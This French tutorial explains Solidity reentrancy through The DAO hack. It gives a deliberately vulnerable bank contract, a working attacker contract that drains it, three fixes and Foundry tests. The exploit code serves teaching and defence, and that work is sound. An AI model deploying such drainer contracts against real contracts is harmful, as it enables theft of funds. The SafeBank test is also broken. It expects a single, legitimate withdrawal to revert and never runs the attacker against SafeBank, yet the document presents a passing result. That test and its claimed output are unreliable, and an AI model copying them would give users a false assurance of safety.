Reentrancy : La vulnérabilité qui a coûté 60 millions de dollars à The DAO
1. Aperçu
Reentrancy est l’une des vulnérabilités les plus classiques de Solidity — et c’est aussi la raison pour laquelle The DAO a perdu environ 3,6 millions d’ETH (~60 millions de dollars en 2016). Cet article explique la nature de la reentrancy, reconstitue le scénario d’attaque avec du code réel, puis présente les trois méthodes de prévention les plus courantes. Après avoir lu, vous pourrez écrire vous-même un contrat vulnérable aux attaques, un contrat qui l’exploite, et un contrat corrigé — avec des tests Foundry pour le prouver.
2. Qu’est-ce que la reentrancy
La reentrancy se produit lorsque le contrat A effectue un appel externe (external call) vers le contrat B, et B rappelle A avant que A n’ait eu le temps de mettre à jour son état. Si A s’appuie sur l’ancien état pour décider de sa logique, B peut exploiter cette lacune pour répéter l’action (par exemple, retirer de l’argent) plusieurs fois.
Le point clé : dans Solidity, toute commande call, send, ou transfert d’ETH avec données peut déclencher la fonction fallback/receive du destinataire — et c’est là que la boucle commence.
3. The DAO : que s’est-il passé
The DAO était un fonds d’investissement décentralisé qui permettait aux détenteurs de tokens de retirer leur ETH via la fonction splitDAO. Cette fonction envoyait d’abord l’ETH, puis mettait à jour le solde du retrait. L’attaquant a écrit un contrat avec une fonction fallback qui rappelait splitDAO dès la réception d’ETH — et comme le solde n’avait pas été déduit, l’attaquant a pu retirer de l’argent plusieurs fois en une seule transaction.
Conséquence : 3,6 millions d’ETH ont été retirés avant que la communauté Ethereum n’effectue un hard fork controversé (donnant naissance à Ethereum Classic) pour restituer l’argent.
4. Reconstitution de la vulnérabilité avec du code
4.1. Contrat vulnérable
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// Envoyer ETH AVANT de mettre à jour l'état -> vulnérabilité !
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
}
withdraw() appelle msg.sender.call{value: amount}("") d’abord, puis met à jour balances[msg.sender] = 0 après. Si msg.sender est un contrat avec un fallback, il peut rappeler withdraw() pendant que call s’exécute — à ce moment balances[msg.sender] n’a pas encore été décrémenté.
4.2. Contrat d’exploitation
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./VulnerableBank.sol";
contract ReentrancyAttacker {
VulnerableBank public bank;
uint256 public constant ATTACK_AMOUNT = 1 ether;
constructor(address bankAddress) {
bank = VulnerableBank(bankAddress);
}
function attack() external payable {
require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
bank.deposit{value: ATTACK_AMOUNT}();
bank.withdraw();
}
receive() external payable {
if (address(bank).balance >= ATTACK_AMOUNT) {
bank.withdraw(); // rappeler pendant que balances[this] n'est pas encore remis à 0
}
}
}
Flux d’exécution :
attack()dépose 1 ETH dansVulnerableBank, puis appellewithdraw().withdraw()envoie 1 ETH àReentrancyAttacker, déclenchantreceive().- Dans
receive(), l’attaquant voit que la banque a toujours de l’ETH, il rappelle doncwithdraw()— maisbalances[attacker]est toujours 1 ether (car la ligne de mise à jour n’a pas encore été exécutée). - La boucle continue jusqu’à ce que la banque soit vide ou qu’il n’y ait plus de gas.
Solde de la banque avant l'attaque : 10 ether
Solde de la banque après l'attaque : 0 ether
Solde de l'attaquant : 11 ether
Remarque : Le code ci-dessus est fourni à titre illustratif uniquement. Ne le déployez pas sur mainnet ou sur des testnets publics — même pas pour « tester pour s’amuser ».
5. Pourquoi ce code a été exploité
La cause fondamentale est la violation du principe Checks-Effects-Interactions : il faudrait d’abord vérifier (check), puis mettre à jour l’état (effect), et seulement ensuite interagir avec l’extérieur (interaction). VulnerableBank inverse l’ordre entre effect et interaction — envoyer l’ETH (interaction) avant de déduire le solde (effect).
De plus, call{value: amount}("") transmet tout le gas restant au destinataire (contrairement à transfer/send qui limite à 2300 gas), donc l’attaquant a assez de gas pour exécuter une logique complexe dans fallback/receive.
6. Moyens de prévention
6.1. Checks-Effects-Interactions
La façon la plus simple et la moins chère : mettre à jour l’état avant d’effectuer un appel externe.
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0; // Effect avant
(bool success, ) = msg.sender.call{value: amount}(""); // Interaction après
require(success, "Transfer failed");
}
Lorsque l’attaquant rappelle withdraw() dans receive(), balances[msg.sender] est déjà 0, donc require(amount > 0) revient immédiatement — la boucle est bloquée.
6.2. ReentrancyGuard d’OpenZeppelin
Si la logique est plus complexe et que vous voulez une couche de protection explicite, utilisez le modificateur nonReentrant.
<!-- Si vous utilisez Hardhat/npm, installez via npm : -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
nonReentrant utilise une variable _status interne : quand la fonction s’exécute, elle définit l’état comme « verrouillé » ; si un appel revient à n’importe quelle autre fonction nonReentrant du contrat à ce moment, la transaction revient en arrière.
Remarque :
nonReentrantne protège que les fonctions dans le même contrat avec le même modificateur. Il ne peut pas empêcher la reentrancy cross-contract si vous appelez un autre contrat et que ce dernier rappelle une fonction sansnonReentrant.
6.3. Pattern de pull payment
Au lieu d’envoyer l’ETH automatiquement, laissez les utilisateurs se retirer via une étape séparée, en séparant complètement la logique d’accumulation des dettes et la logique de transfert :
contract PullPaymentBank {
mapping(address => uint256) public pendingWithdrawals;
function creditWithdrawal(address user, uint256 amount) internal {
pendingWithdrawals[user] += amount;
}
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
Cette approche sépare les risques : même si withdraw() est rappelée, la logique d’enregistrement de la dette (creditWithdrawal) s’est déjà produite ailleurs et n’est pas affectée.
7. Écrire des tests pour prouver l’attaque et le correctif
Avec Solidity, l’outil de test équivalent à JUnit est Foundry (forge-std). Le test ci-dessous prouve que VulnerableBank est drainé, tandis que SafeBank ne l’est pas.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";
contract ReentrancyTest is Test {
VulnerableBank bank;
SafeBank safeBank;
address victim = address(0x1);
function setUp() public {
bank = new VulnerableBank();
safeBank = new SafeBank();
vm.deal(victim, 10 ether);
vm.prank(victim);
bank.deposit{value: 10 ether}();
}
function test_VulnerableBank_IsDrainedByReentrancy() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
vm.deal(address(this), 1 ether);
attacker.attack{value: 1 ether}();
assertEq(address(bank).balance, 0);
assertEq(address(attacker).balance, 11 ether);
}
function test_SafeBank_RejectsReentrancy() public {
vm.deal(victim, 10 ether);
vm.prank(victim);
safeBank.deposit{value: 10 ether}();
// Utiliser l'attaquant avec SafeBank -> s'attendre à ne pouvoir retirer qu'une fois
vm.expectRevert();
vm.prank(victim);
safeBank.withdraw(); // l'appel 2 revient en arrière car amount = 0
}
}
Exécuter les tests :
forge test -vv
Résultat attendu :
[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()
Le premier test affirme que bank est drainé à 0 et l’attaquant reçoit 11 ETH — exactement comme dans le scénario The DAO. Le deuxième test affirme qu’avec SafeBank (en appliquant Checks-Effects-Interactions), le deuxième retrait revient en arrière car le solde est déjà 0.
8. Erreurs courantes
- Remplacer
callpartransfer/sendsans corriger l’ordre de l’état :transferlimite à 2300 gas pour bloquer la reentrancy simple, mais ce n’est pas une solution radicale — de nombreux portefeuilles/contrats légitimes ont besoin de plus de 2300 gas pour recevoir l’ETH (par exemple les proxy contracts), ce qui entraîne l’échec des transactions valides. - Oublier la reentrancy cross-function : deux fonctions différentes qui lisent/écrivent la même variable d’état peuvent s’exploiter mutuellement si vous ne corrigez qu’une seule fonction.
- Read-only reentrancy : une fonction
viewretourne l’état non mis à jour, est lue par un autre contrat et utilisée à tort pendant qu’une autre transaction s’exécute en même temps — elle a toujours des conséquences même si aucun retrait direct d’argent n’a lieu. - Faire confiance à
nonReentrantcomme seule protection du système : si vous avez plusieurs contrats qui interagissent, vous devez examiner l’ensemble du flux d’appels, pas seulement un contrat isolé.
Remarque : Il ne faut considérer aucun pattern unique comme « complètement immunisé ». Combinez toujours Checks-Effects-Interactions avec
nonReentrantpour les fonctions ayant des appels externes et impliquant de l’argent.
9. Conclusion
L’incident de The DAO est une leçon coûteuse : un ordre de commandes apparemment inoffensif (envoyer l’argent d’abord, mettre à jour le grand livre après) a forcé toute la communauté Ethereum à effectuer un hard fork. Le principe Checks-Effects-Interactions, le modificateur nonReentrant, et le pattern de pull payment sont trois outils basiques mais assez puissants pour arrêter cette classe de vulnérabilité. Chaque fois que vous écrivez une fonction avec un appel externe et un transfert d’argent, posez-vous toujours la question : « Mon état a-t-il été mis à jour avant que j’effectue l’appel externe ? »